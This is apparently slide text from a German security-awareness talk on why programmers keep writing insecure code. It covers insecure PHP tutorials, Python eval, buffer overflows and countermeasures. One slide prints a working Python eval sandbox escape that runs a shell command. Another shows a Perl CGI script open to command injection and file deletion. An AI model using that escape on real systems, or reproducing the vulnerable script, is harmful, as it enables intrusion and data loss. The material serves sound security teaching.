Sicherheitsprobleme verfolgen uns bereits seit vielen Jahren. Warum existieren immer noch unsichere Programme? Wieso scheitern Informatiker an der korrekten Programmierung? Warum passieren immer wieder dieselben Fehler? Der Vortrag dreht sich insbesondere um verschiedene Informationsquellen, deren Problematik und konkrete, technische Beispiele.
Referent: Tobias Ospelt
6. „Hacking ist nicht real“
• Hacking-Agnostiker gibt es tatsächlich noch
• Statistiken
• Medien
– Jailbreak
– Anonymous
• Verborgenheit
– Argument der Eintretenswahrscheinlichkeit
– Dunkelziffer
10. Why it’s easy being a hacker [1]
• Google „How to use PHP with MySQL“
• Min. 5 von 10 SQL Injection
11. Datei-Upload
• Google „How to do a file upload in PHP“
• Min. Sicherheitskriterien
– Dateiendung überprüfen
– MIME-type überprüfen
– Nicht in Web Root ablegen
– Keine Manipulation des Speicherorts
• 6 von 10 unsicher
12. Datei-Upload
• Web Root, keine Checks (Security
Warnung)
• Web Root, keine Checks
• Web Root, keine Checks, chmod 777, XSS
• Web Root, kein MIME-Check, XSS
• Irrelevant
• Video
• Keine Checks, XSS
• Web Root, keine Checks, SQL Injection,
Manipulation Speicherort
• Web Root, keine Checks, chmod 777,
Manipulation Speicherort
• Web Root, keine Checks, Manipulation
Speicherort
15. Why it’s easy being a hacker [1]
• 3 von 6 SQL Injection
16. Programming Python S. 18
• "[…] eval call […] is potentially unsafe; you
shouldn't use eval if you can't be sure [...]
won't contain malicious code […]"
• Ähnlich auf Seite 49
18. Programming Python Autor
• "eval() reflects a classic tradeoff between
security and power. In an early book example,
security seems a minor topic, and perhaps less
important to illustrate than language power."
19. Die Suche nach dem sicheren eval
• Google „python safe eval“
– eval(benutzereingabe,{"__builtins__":None},{})
– Demo 2
20. Exploit
[x for x in (1).__class__.__base__.__subclasses__() if
x.__name__ ==
'Pattern'][0].__init__.__globals__['__builtins__']['__impo
rt__']('os').system('cd /; python -m SimpleHTTPServer')
30. Letzthin im #python IRC-Chat
• Unterschied von input() in Python2 und
Python3
• "the fact that we didn't remove input() from
python2 a long time ago is crazy.“
31. DEP, ASLR und Konsorten
• Müssen aktiviert werden
• 2 unabhängige Buffer Overflows
– Auf 3 von 4 Plattformen à la 1995
35. Web Server Horror
#!/usr/bin/perl -w
use strict 'vars'; use strict 'subs'; use CGI ':standard’;
use CGI::Carp qw(fatalsToBrowser);
use constant DOWNLOAD_DIR => q{/tmp/path/};
my $B = param('B');
$B =~ s/^/+//g;
my $filen = DOWNLOAD_DIR . "/" . $B;
my $basename = `basename $B`;
my $size = (stat($filen))[7];
open(DLFILE, "<$filen") or Error("Kann $B nicht
oeffnen.");
if($B =~ /.sik$/o) {} else { unlink($filen);}
my $filedata = do { local $/; <DLFILE> };
print "Content-Length: $sizen";
print $filedata;
exit 0;
37. Gegenmassnahmen
• KISS
• Kein blindes kopieren unabhängig von Quelle
– Verstand/Sicherheitssicht/Kollegen nutzen
• Sicherheitsmechanismen an lassen
• Sicherheitsmechanismen an machen
• Sicherheitsthemen zur Arbeit suchen
• Schulungen
– Awareness
– Eigene Security-Tests, richtige Hilfsmittel
– Secure Development
• Penetration Testing